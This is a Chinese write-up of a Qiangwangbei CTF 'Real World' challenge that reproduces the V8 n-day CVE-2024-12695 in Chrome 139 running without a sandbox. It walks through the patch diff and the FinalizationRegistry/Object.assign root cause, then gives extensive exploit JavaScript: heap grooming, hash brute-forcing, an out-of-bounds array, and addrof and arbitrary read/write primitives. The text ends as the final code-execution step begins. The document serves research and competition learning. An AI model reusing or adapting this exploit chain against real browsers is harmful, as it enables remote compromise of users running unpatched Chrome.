强网杯S9 Real World - monotint

目录

前言

本次强网杯线下和0x300R的师傅们一起打了,其他师傅都太强啦。但最后一天的时间很短,我们最后demo的4题,基本都因为环境问题,没有成功,其中就包括了我这里demo 的monotint,一道浏览器的nday复现

第一个坑是关于v8沙箱的问题。这道题目的chrome版本是139.0.7258.128,启动参数—no-sandbox,意味着render rce之后就可以任意代码执行。但是正常情况下v8沙箱在这个版本下是默认开启的,所以我本地编译了一个开启v8沙箱的chrome,在这个基础上进行利用,但是后来发现其实题目是没有编译v8的沙箱的,所以那一段沙箱逃逸的逻辑根本没有使用到,耽误了很久的时间……(以后还是直接上去测题目给的虚拟机😭

第二个坑是最后弹计算器的问题。公告和题目的信息是分开的,因此没有注意到,公告中提到了为了降低演示的难度,可以自选方法进行验证rce。所以最后花了一段时间去解决弹计算器的问题,其实只需要xauth给个权限可以了,这里需要感谢组里的两位大哥@leommxj和@m4x,帮助我解决了弹计算器的问题

第三个坑是cpu保护的问题。公告中提到了现场演示机器的cpu是intel 14gen,不过我确实没有忘pku内存保护的方向去想,所以最后的利用部分造成了问题。绕过方式也很简单,jit spray或者写一个wasm函数绕过就行

题目信息

题目除了下发了一个虚拟机之外,虚拟机里还有一个启动脚本和一段diff

所以查看了下启动参数,发现没有沙箱,所以只需要考虑render rce,那么主要需要思考的是v8侧的利用

1
2
/opt/chromium.org/chromium/chromium-browser --no-sandbox

接着查看版本信息,chrome版本是139.0.7258.128,v8版本是13.9.205.19

看到了v8的版本不算新,因此看了下commit hash,8月4号的提交,那么之前p0的Big sleep挖出来的CVE-2025-9132是可以直接打的,但是我没准备 :(

由于笔者并没有提前准备1day(科恩的师傅应该是有的,所以最后也只有他们demo成功了,太强了),所以我只能看题目准备了什么diff

diff信息,但是看着就觉得很眼熟,之前似乎在issue tracker上看到过,于是关键词搜索,就发现了issue tracker上公开的报告,接着就搜索到了公开的blog分析完整的脚本,编号是CVE-2024-12695

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.cc
index b0aeb178..161d9bdf 100644
--- a/v8/src/builtins/builtins-object-gen.cc
+++ b/v8/src/builtins/builtins-object-gen.cc
@@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()),
&slow_path);

- // Ensure the properties field is not used to store a hash.
- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
- GotoIf(TaggedIsSmi(properties), &slow_path);
- CSA_DCHECK(this,
- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),
- IsPropertyArray(CAST(properties))));
-
Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);

// Check if our particular source->target combination is fast clonable.

diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.cc
index f125cc63..d6d0e36b 100644
--- a/v8/src/objects/js-weak-refs.cc
+++ b/v8/src/objects/js-weak-refs.cc
@@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
InternalIndex entry = key_map->FindEntry(isolate, key);
- CHECK(entry.is_found());
+ DCHECK(entry.is_found());

if (IsUndefined(weak_cell->key_list_next(), isolate)) {
// weak_cell is the only one associated with its key; remove the key

对于正常的render rce流程还需要一个v8的沙箱逃逸,因为是默认开启的,所以笔者接下来做了两件事情

  • 适配完CVE-2024-12695的利用
  • v8进程的沙箱逃逸

在比赛的当天下午6 7点钟这样,已经完成了第一个部分,但是此时笔者并不知道题目下发的虚拟机其实是没有的,因此后面花了大部分时间在v8的沙箱逃逸上😭……

环境搭建

搭chrome的环境

1
2
3
4
5
6
7
git checkout 139.0.7258.128
gclient sync -D
cd v8
patch -p1 < ./patch
cd ../
gn gen out/x64.release
ninja -C out/x64.release -j 22 chrome

编译参数

1
2
3
4
5
6
7
8
9
10
is_component_build = false
is_debug = false
symbol_level = 2
blink_symbol_level = 2
v8_symbol_level = 2
dcheck_always_on = false
is_official_build = false
chrome_pgo_phase = 0
v8_enable_sandbox = false
v8_enable_pointer_compression = true

搭d8的环境

1
2
gn gen out/x64.release_v8
ninja -C out/x64.release_v8 -j 22 d8

编译参数

1
2
3
4
5
6
7
8
9
10
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2

调试chrome的时候如果需要使用d8的调试函数,需要加上–js-flags=”–allow-natives-syntax”,由于个人习惯,我还会加上–auto-open-devtools-for-tabs,这样会自动打开devtools

漏洞分析

这个nday详细的分析,我觉得看别人已经公开的就好,我这里根据自己的理解,大致再分析了一下

Object.assign缺少类型检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.cc
index b0aeb178..161d9bdf 100644
--- a/v8/src/builtins/builtins-object-gen.cc
+++ b/v8/src/builtins/builtins-object-gen.cc
@@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()),
&slow_path);

- // Ensure the properties field is not used to store a hash.
- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
- GotoIf(TaggedIsSmi(properties), &slow_path);
- CSA_DCHECK(this,
- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),
- IsPropertyArray(CAST(properties))));
-
Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);

从删去的部分不难理解,这里删去的部分其实是对于properties字段的检查,检查这个字段是否是smi,如果是smi则跳转到slow_path执行后续逻辑;如果不是smi则进入fast_path。

注意到CSA_DCHECK,意思是当前字段如果不是smi,那么必须是一个EmptyFixedArray。被删去之后,言下之意就是说这个字段可以为smi,也可以为FixedArray(object)

所以这个检查的含义可以总结为,删去了对于对象properties字段类型的检查,不再检查properties是否为smi或者对象,无论properties字段为smi或者对象都执行同一个fast_path的流程。此时我们具备了改变对象properties字段的能力

而这个逻辑位于一个builtin方法TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)中,所以我们现在知道Object.assign这个方法存在漏洞

可以通过这个代码演示一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let target = {};
let unregister_token = {};

let registry = new FinalizationRegistry(() => {
print("Callback called");
});
registry.register(target, undefined, unregister_token);
%DebugPrint(unregister_token);
%SystemBreak();

Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
%DebugPrint(unregister_token);
%SystemBreak();

当注册完gc监控对象target之后,unregister_token 产生了hash字段。接着通过Object.assign的快速路径,使得unregister_token的hash字段被破坏,这个被破坏成了一个FixedArray

需要解释一下FinalizationRegistry的使用方法

  • 第一个参数target是gc监控的对象
  • 第二个参数undefined是回调函数执行时需要用到的值。当 target 被回收,回调函数被调用时,这个值会作为参数传给回调函数。
  • 第三个参数是取消注册的令牌。如果稍后想要取消对 target 的监控,你可以调用 registry.unregister(unregister_token)来取消对于回调的执行
    • 注册完毕后会为unregister_token生成hash字段

上方的register方法是监控了target对象,当target被gc回收时,会执行自定义的回调函数。上方的第三个参数是注册的token,后续调用了Object.assign破坏了hash字段

SimpleNumberDictionary越界的产生

调试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let target = {};
let unregister_token = {};

let registry = new FinalizationRegistry(() => {
print("Callback called");
});
registry.register(target, undefined, unregister_token);

Object.assign(unregister_token, {});
Object.assign(unregister_token, {});

target = null;
gc({ type: "major" });
%DebugPrint(registry);

这里的diff很简洁,将强制CHECK换成了DCHECK,这个函数JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap由上方提到的unregister调用,意味着执行registry.unregister时不再对entry进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.cc
index f125cc63..d6d0e36b 100644
--- a/v8/src/objects/js-weak-refs.cc
+++ b/v8/src/objects/js-weak-refs.cc
@@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
InternalIndex entry = key_map->FindEntry(isolate, key);
- CHECK(entry.is_found());
+ DCHECK(entry.is_found());

if (IsUndefined(weak_cell->key_list_next(), isolate)) {
// weak_cell is the only one associated with its key; remove the key

所以对于的hash值不存在于key_map的情况,entry的值为-1。又由于换成了DCHECK,就会绕过entry.is_found()的检查

接着如果当前的weak_cell prev指针为undefined,则会进入到下方的if循环时,会执行key_map->ClearEntry(-1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
Isolate* isolate, Tagged<WeakCell> weak_cell) {
DisallowGarbageCollection no_gc;
DCHECK(!IsUndefined(weak_cell->unregister_token(), isolate));
Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value();

if (IsUndefined(weak_cell->key_list_prev(), isolate)) {
Tagged<SimpleNumberDictionary> key_map =
Cast<SimpleNumberDictionary>(this->key_map());
Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
InternalIndex entry = key_map->FindEntry(isolate, key);
DCHECK(entry.is_found());

if (IsUndefined(weak_cell->key_list_next(), isolate)) {
// weak_cell is the only one associated with its key; remove the key
// from the hash table.
key_map->ClearEntry(entry);
key_map->ElementRemoved();
} else {
……………………
}

继续跟踪调用,首先进入下方的模板函数

1
2
3
4
5
6
template <typename Derived, typename Shape>
void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) {
Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value();
PropertyDetails details = PropertyDetails::Empty();
Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);
}

接着进入SetEntry,从上方的传递值可以发现key和value都是the_hole,也就是0x7d9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
template <typename Derived, typename Shape>
void Dictionary<Derived, Shape>::SetEntry(InternalIndex entry,
Tagged<Object> key,
Tagged<Object> value,
PropertyDetails details) {
DCHECK(Dictionary::kEntrySize == 2 || Dictionary::kEntrySize == 3);
DCHECK(!IsName(key) || details.dictionary_index() > 0 || !Shape::kHasDetails);
int index = DerivedHashTable::EntryToIndex(entry);
DisallowGarbageCollection no_gc;
WriteBarrierMode mode = this->GetWriteBarrierMode(no_gc);
this->set(index + Derived::kEntryKeyIndex, key, mode);
this->set(index + Derived::kEntryValueIndex, value, mode);
if (Shape::kHasDetails) DetailsAtPut(entry, details);
}

index的转化逻辑调用了如下函数,如果说一开始的entry是-1,也就是没找到对应的hash值,那么则会计算出index=1

1
2
3
4
5
6
7
8
9
10
// Returns the index for an entry (of the key)
static constexpr inline int EntryToIndex(InternalIndex entry) {
return (entry.as_int() * kEntrySize) + kElementsStartIndex;
}

//static const int kEntrySize = 2;
//static const int kPrefixSize = 0;
//static const int kPrefixStartIndex = 3;
//static const int kElementsStartIndex = kPrefixStartIndex + TodoShape::kPrefixSize;
//return (-1*2)+3+0

接着通过调试验证,同时可以得到Derived::kEntryKeyIndex = 0; Derived::kEntryValueIndex=1;所以这里会将this,也就是key_map index为1和2处都设置为the_hole(0x7d9)

我们需要观察一下key_map的结构,可以看到这里是由FixedArray申请出来的,但是map是SIMPLE_NUMBER_DICTIONARY_TYPE,所以我们找一下这个map类型的定义

这里说明对于header来说没有多余的size,每一个Entry是2项。

1
2
3
4
5
6
7
class SimpleNumberDictionaryShape : public NumberDictionaryBaseShape {
public:
static const bool kHasDetails = false;
static const int kPrefixSize = 0;
static const int kEntrySize = 2;
……………………
};

header位于v8/src/objects/hash-table.h中,slot[0] = kNumberOfElementsIndex,slot[1] = kNumberOfDeletedElementsIndex,slot[2]=kCapacityIndex

1
2
3
4
5
6
7
class V8_EXPORT_PRIVATE HashTableBase : public NON_EXPORTED_BASE(FixedArray) {
public:
……………………
static const int kNumberOfElementsIndex = 0;
static const int kNumberOfDeletedElementsIndex = 1;
static const int kCapacityIndex = 2;
static const int kPrefixStartIndex = 3;

Entry定义了value在index为1处,那么0处就是key

1
2
3
4
5
6
7
8
9
10
11
12
13
// SimpleNumberDictionary is used to map number to an entry.
class SimpleNumberDictionary
: public Dictionary<SimpleNumberDictionary, SimpleNumberDictionaryShape> {
public:
static inline DirectHandle<Map> GetMap(RootsTable& roots);

// Type specific at put (default NONE attributes is used when adding).
V8_EXPORT_PRIVATE V8_WARN_UNUSED_RESULT static Handle<SimpleNumberDictionary>
Set(Isolate* isolate, Handle<SimpleNumberDictionary> dictionary, uint32_t key,
DirectHandle<Object> value);

static const int kEntryValueIndex = 1;
};

这里涉及到的对象继承关系

1
SimpleNumberDictionary -> Dictionary -> HashTable -> HashTableBase -> FixedArray

对应到上方的调试结果就是

1
2
3
4
5
6
7
8
9
0x3171003c002c:  0x00001c55  -> map
0x3171003c0030: 0x00000016 -> length
0x3171003c0034: 0x00000002 -> Elements
0x3171003c0038: 0x00000000 -> DeletedElements
0x3171003c003c: 0x00000008 -> Capacity
0x3171003c0040: 0x00000011 -> Entry 0 Key
0x3171003c0044: 0x00000011 -> Entry 0 Val
0x3171003c0048: 0x001313d2 -> Entry 1 Key
0x3171003c004c: 0x0005d9e1 -> Entry 1 Val

上方的0x001313d2也就是hash值<<1的内存中的表示,后面紧跟着的是WeakCell

接着经过ClearEntry之后,可以发现

完整的如下,可以发现容量变成了0x000007d9,所以此时产生了一个越界的SimpleNumberDictionary

assembly
1
2
3
4
5
6
7
8
9
0x3171003c002c:  0x00001c55  -> map
0x3171003c0030: 0x00000016 -> length
0x3171003c0034: 0x00000002 -> Elements
0x3171003c0038: 0x000007d9 -> DeletedElements
0x3171003c003c: 0x000007d9 -> Capacity
0x3171003c0040: 0x00000011 -> Entry 0 Key
0x3171003c0044: 0x00000011 -> Entry 0 Val
0x3171003c0048: 0x001313d2 -> Entry 1 Key
0x3171003c004c: 0x0005d9e1 -> Entry 1 Val

不稳定的越界转化为固定偏移的任意写

上方其实已经得到一个可以越界的SimpleNumberDictionary,那么现在就需要思考如何将这个不稳定的越界转化成稳定的越界读写

首先来看这样一段函数

1
2
3
4
5
6
7
8
9
10
let target = {};
let unregister_token = {};

let registry = new FinalizationRegistry(() => {
print("Callback called");
});
%DebugPrint(registry);
registry.register(target, undefined, unregister_token);
registry.register(target, undefined, unregister_token);

下断点之后会发现执行了这个函数JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken

  • 这个函数很短首先会检查finalization_registry的key_map是否存在,不存在的话再初始化一个
  • 接着获取weak_cell或者生成weak_cell的hash字段,然后赋值给key
  • 根据key去索引entry
  • 如果存在,则会获取这个value,也就是之前添加的WeakCell,然后设置这个WeakCell的set_key_list_prev和set_key_list_next
  • 最后将更新过的内容写回 finalization_registry
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken(
DirectHandle<JSFinalizationRegistry> finalization_registry,
DirectHandle<WeakCell> weak_cell, Isolate* isolate) {
Handle<SimpleNumberDictionary> key_map;
if (IsUndefined(finalization_registry->key_map(), isolate)) {
key_map = SimpleNumberDictionary::New(isolate, 1);
} else {
key_map =
handle(Cast<SimpleNumberDictionary>(finalization_registry->key_map()),
isolate);
}

// Unregister tokens are held weakly as objects are often their own
// unregister token. To avoid using an ephemeron map, the map for token
// lookup is keyed on the token's identity hash instead of the token itself.
uint32_t key =
Object::GetOrCreateHash(weak_cell->unregister_token(), isolate).value();
InternalIndex entry = key_map->FindEntry(isolate, key);
if (entry.is_found()) {
Tagged<Object> value = key_map->ValueAt(entry);
Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value);
existing_weak_cell->set_key_list_prev(*weak_cell);
weak_cell->set_key_list_next(existing_weak_cell);
}
key_map = SimpleNumberDictionary::Set(isolate, key_map, key, weak_cell);
finalization_registry->set_key_map(*key_map);
}

接着来调试一下这一段代码,首先这里的weak_cell是新生成的,然后finalization_registry是代码中的registry

此时的unregister_token还只是一个普通对象,没有生成hash值

由于此时的并没有生成表项,所以entry.is_found()过不了,因此第一次register不会执行到if的逻辑

使用同样的对象进行第二次register,可以看到我们之前unregister_token已经生成了hash值,并被保存到了key_map中

没有执行if中的逻辑前,可以看到两个weakcell的list prev/next都是undefined状态

由于这一次是使用了同样的对象,这个表现会被说索引到,所以这里分别设置了weakcell的list prev/next

进一步在内存里查看,对于第一次申请的weakcell对象,在偏移0x1c的位置,写上了第二次申请的weakcell对象的地址

第二次申请的weakcell对象,在偏移0x20的位置,写上了第一次申请的weakcell对象的地址

还需要提一嘴的是Weakcell在active_cells中的组织形式是LIFO,从job的输出也可以看出来,新添加的Weakcell对象采用头插法插入到list头部,所以他的prev为undefined,next为旧的Weakcell,同时旧的Weakcell的prev为新的Weakcell,next为undefined

从上面的方式可以看出如果我们提前知道了key_map中的某一表项的hash值,就可以在对应的weakcell的固定偏移处写入一个的值,而如果我们可控weakcell的值,就可以在我们控制的值基础上进行任意写,也就是 *((&weakcell)+0x1c/0x20)= obj_val,可以知道这个obj_val是一个weakcell的值,默认为很大的值,可以用这个大值去破坏对象的length字段,实现稳定越界读写的效果

漏洞利用

截止到目前我们需要实现上面的思路,同时需要保持利用的稳定性

  • 第一步:获取一个存在越界的key_map
  • 第二步:预测key_map中对象的hash值
  • 第三步:通过预测的hash值实现地址任意写,从而corrupt某些array对象的length
  • 第四步:根据获取到的oob_arr,构造出稳定的利用原语
  • 第五步:解决弹计算器的问题

如果qwb线下做过这个利用的师傅应该知道,上面除了第一步以外,其他步骤都有点麻烦😭

step1

这部分代码很简单,删去了回调函数的部分代码,后面完整的利用会有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
let undefined_value = 0x11;
let target = {};
let unregister_token = {};


let registry = new FinalizationRegistry(() => {
console.log("[*] Callback in");

console.log("[*] Callback out");
});

registry.register(target, undefined, unregister_token);

major_gc();

let victim_arr = [];
for (let i = 0; i < 0x1000; i++) {
victim_arr.push(build_kv(undefined_value, undefined_value));
}

major_gc();

let arr_with_hash_object = construct_hash_object();

Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
target = null;
major_gc();

这里先利用了patch的漏洞实现了key_map的越界,但是其中我还是布置了一些对象。

在key_map之后,布置了victim_arr,其中初始化了0x1000个kv表项,接着我又构造了一个arr来存储一些hash表项,这两个步骤都是为后续利用提前做的准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function build_kv(key, value) {
return lh_u32_to_f64(key << 1, value);
}

function init_arr(arr, val){
for (let i = 0; i < arr.length; i++) {
arr[i] = val;
}
}

function construct_hash_object(){
let length = 10000;
let arr = new Array(length);
let weak_map = new WeakMap();
for (let i = 0; i < length; i++) {
arr[i] = {};
weak_map.set(arr[i], 0);
}
return arr;
}

同时为了布局的稳定,我在每一个重要对象后面都执行了一个major_gc,最后一次gc是为了触发漏洞

1
2
3
4
5
6
7
function major_gc() {
let x = [];
x.push(new ArrayBuffer(1e9));
x.push(new ArrayBuffer(1e9));
x = null;

}

step2

这个步骤是预测key_map里的hash值,完整函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function corrupt_obj_get_hash(){
console.log("[*] Corrupt obj get in");
let corrupt_vic_idx = -1;
let corrupt_obj_idx = -1;
let corrupt_obj_hash = -1;
// HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF
for (let current_hash = 1; current_hash < 0x100000; current_hash++) {
let fake_kv = build_kv(current_hash, undefined_value);
init_arr(victim_arr, fake_kv);
// p(unregister_token);
// p(registry);
// p(victim_arr);
// p(arr_with_hash_object);
for (let i = 0; i < arr_with_hash_object.length; i++){
registry.unregister(arr_with_hash_object[i]);
}

corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv);
if (corrupt_vic_idx == -1){
continue;
}
// p(victim_arr);

init_arr(victim_arr, fake_kv);
for (let i = 0; i < arr_with_hash_object.length; i++){
registry.unregister(arr_with_hash_object[i]);

for (let j = 0; j < victim_arr.length; j++){
if (victim_arr[j] != fake_kv){
corrupt_obj_idx = i;
corrupt_obj_hash = current_hash;
%DebugPrint(victim_arr);
logg("corrupt_obj_idx",corrupt_obj_idx);
logg("corrupt_obj_hash",corrupt_obj_hash);
%SystemBreak();
break;
}
}

if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){
break;
}
}

if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){
break;
}
// console.log("[+] Found at hash: 0x" + current_hash.toString(16));

}

// p(arr_with_hash_object);

console.log("[+] Corrupt vic idx: " + corrupt_vic_idx);
console.log("[+] Corrupt obj idx: " + corrupt_obj_idx);
console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16));

console.log("[*] Corrupt obj get out");

return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash];
}
  • 上方的大循环中,我构造了一个0x100000个kv表项,预测hash值从1-0x100000,可以从注释里看到HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF,实际肯定不会执行这么多次数的,所以我选了最大次数作为循环体执行的次数
  • 接着通过registry.unregister的方法,去遍历构造出来的arr_with_hash_object对象。因为之前构造了越界的key_map,同时vivtim_arr在key_map的后面,所以一部分hash值会越界到victim_arr里,破坏初始值,当遍历结束之后,我就可以得到victim中被破坏位置的idx,成功概率是10000/0x100000
  • 上方成功获取到corrupt_vic_idx之后,接着将当前的kv表项用于初始化victim_arr,同时继续依次unregister之前构造的arr_with_hash_object对象,同时判断是victim_arr的内容是否发生变化,如果变化,则说明此时的hash表项修改的范围落在了我们可控的victim_arr里面

如果这个函数执行完毕,那么我们得到了一个可复用的kv表项,如果对于这个kv表项进行register,那么就可以这样 *((&weakcell)+0x1c/0x20)= obj_val,向可控的相对地址写入一个 WeakCell 指针

step3

通过上方获取到的可以hash对象进行进一步的利用,这里是核心逻辑的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
console.log("[*] Construct oob arr in");
let hash_obj = arr_with_hash_object[corrupt_obj_idx];
let oob_arr_addr_start = 0x1c0000;
let oob_arr_addr_end = 0x2000000;
let oob_arr_step = 0x100;
let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa);

let oob_arr_idx = -1;
let tmp_weak_cell_val = -1;
let offset = 0x1c;
let align_offset = 0;
let oob_arr_element_addr = -1;
let oob_addr_element_offset = 0x1020;
let out_loop = false;


let oob_arr = [];
for (let i = 0; i < 0x100; i++){
oob_arr[i] = 1.1;
}
for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){
let fake_kv = build_kv(corrupt_obj_hash, i | 1);
victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;
init_arr(oob_arr, oob_arr_init_val);
// p(oob_arr);
// stop();

registry.register(hash_obj, undefined, hash_obj);

for (let j = 0; j < oob_arr.length; j++){
if (oob_arr[j] != oob_arr_init_val){
oob_arr_idx = j;
logg("oob_arr_idx",oob_arr_idx);
logg("oob_arr_addr",i);
// p(registry);
// p(victim_arr);
// p(oob_arr);
tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]);
if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){
tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]);
align_offset = 1;
}
// logg("raw tmp weak cell val",f64_to_u64(oob_arr[oob_arr_idx]));
// logg("tmp weak cell val",tmp_weak_cell_val);
// logg("align_offset",align_offset);
oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ;
// stop();

break;
}

if(oob_arr_element_addr > 0){
out_loop = true;
break;
}
}

if(out_loop){
break;
}
}

let guess_obj_addr = -1;
let target_addr = -1;
let idx = 0;

// guess_obj_addr = oob_arr_element_addr - oob_addr_element_offset;
guess_obj_addr = oob_arr_element_addr;
target_addr = guess_obj_addr+0x5+0x1;

let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c)));
victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;
logg("oob_arr_element_addr",oob_arr_element_addr);
logg("target_addr",target_addr);

console.log("[*] Construct oob arr out");


registry.register(hash_obj, undefined, hash_obj);

  • 我这里初始化了一个oob_arr,类型为double arr,预测的地址空间是[0x1c0000,0x2000000],步长为0x100
  • 接着开始构造表项let fake_kv = build_kv(corrupt_obj_hash, i | 1),这里的corrupt_obj_hash为之前得到hash值,然后i就是每次预测的地址,然后初始化oob_arr
  • 使用registry.register进行地址预测,利用 JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken 的逻辑,由于 Hash 命中,V8 会获取我们伪造的“旧 WeakCell”地址,并尝试将其作为链表节点,执行 existing_weak_cell->set_key_list_prev(new_weak_cell)。这实际上向 i + 0x1c 的位置写入了新 WeakCell 的指针。如果这个写入落在 oob_arr 范围内,就能被探测到
  • 由于oob_arr存在0x100项,通过register的方法可以将i+0x1c位置写为一个WeakCell对象的值,如果落在了oob_arr的element里,那么可以通过遍历发现,接着通过i来反推出oob_arr的element地址
  • 反推出oob_arr的element地址后,可以通过register的方法去覆盖oob_arr的element的length字段,这里需要错位字节,不然element的length字段无法解析。同时这里和出题人学到了一个技巧,就是错位字节之后,进行resize,即可保持布局的稳定

step4

上面已经是构造出来了一个越界读写的oob_arr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
let ref_arr = make_ref(target_arr);
let ab = new ArrayBuffer(0x100);
let ref_ab = make_ref(ab);
let dv = new DataView(ab);
let obj_arr = [{},{}];
let target_idx = -1;

for (let i = 0; i < 0x10000000; i++){
// logg("oob_arr[i]",f64_to_u64(oob_arr[i]));
if (((oob_arr[i]) == 1.1) &&
((oob_arr[i+1]) == 2.2) &&
((oob_arr[i+2]) == 3.3) &&
((oob_arr[i+3]) == 4.4) &&
((oob_arr[i+4]) == 5.5)){
target_idx = i;
logg("target_idx",target_idx);
break;
}
}

if(target_idx == -1){
console.log("[x] Failed to find target_idx!");
return;
}

// p(target_arr);
// p(obj_arr);
let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8;
let elements_confused_idx = target_idx + 0x50/8;

let obj_arr_idx_offset = 0x21;
let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8;
logg("target_arr_element_addr",target_arr_element_addr);
logg("obj_arr_element_addr",obj_arr_element_addr);


function cage_read(addr){
addr = Number(addr);
if (addr & 1){
addr -= 1;
}

addr -= 7;
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let val = f64_to_u64(target_arr[0]);
oob_arr[elements_confused_idx] = u64_to_f64(org);
return val;
}

function cage_write(addr,val){
addr = Number(addr);
if (addr & 1){
addr -= 1;
}
addr -= 7;
logg("addr",addr);
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let org_val = f64_to_u64(target_arr[0]);

// target_arr[0] = lh_u32_to_f64(val, Number(org_val >> 32n));
target_arr[0] = u64_to_f64(val);
oob_arr[elements_confused_idx] = u64_to_f64(org);
}

function addrof(obj){
obj_arr[0] = obj;
let ret = cage_read(obj_arr_element_addr);
// logg("ret",ret);
// stop();
return u64_to_u32_lo(ret);
}

function AAR(addr){
cage_write(ab_addr+0x24n,addr);
let ret = dv.getBigUint64(0,true);
// logg("ret",ret);
return ret;

}

由于此时布局的稳定性还算不错,后续申请的几个对象与target_arr之间的距离是固定的,所以能否准确定位到target_arr是很重要的,他直接影响了后续的原语构造

所以我采用了扫描匹配 target_arr 内容的方式,匹配到target_arr之后,我们可以gdb调试,字节计算出 target_arr 对象本身以及后续 obj_arr 等对象的精确偏移,利用这个偏移,我们通过 oob_arr 修改后续对象的内容,从而实现利用原语的构造。

1
2
3
4
5
6
7
8
9
10
11
12
for (let i = 0; i < 0x10000000; i++){
// logg("oob_arr[i]",f64_to_u64(oob_arr[i]));
if (((oob_arr[i]) == 1.1) &&
((oob_arr[i+1]) == 2.2) &&
((oob_arr[i+2]) == 3.3) &&
((oob_arr[i+3]) == 4.4) &&
((oob_arr[i+4]) == 5.5)){
target_idx = i;
logg("target_idx",target_idx);
break;
}
}

step5

这里需要单独讨论一下如何弹出计算器。

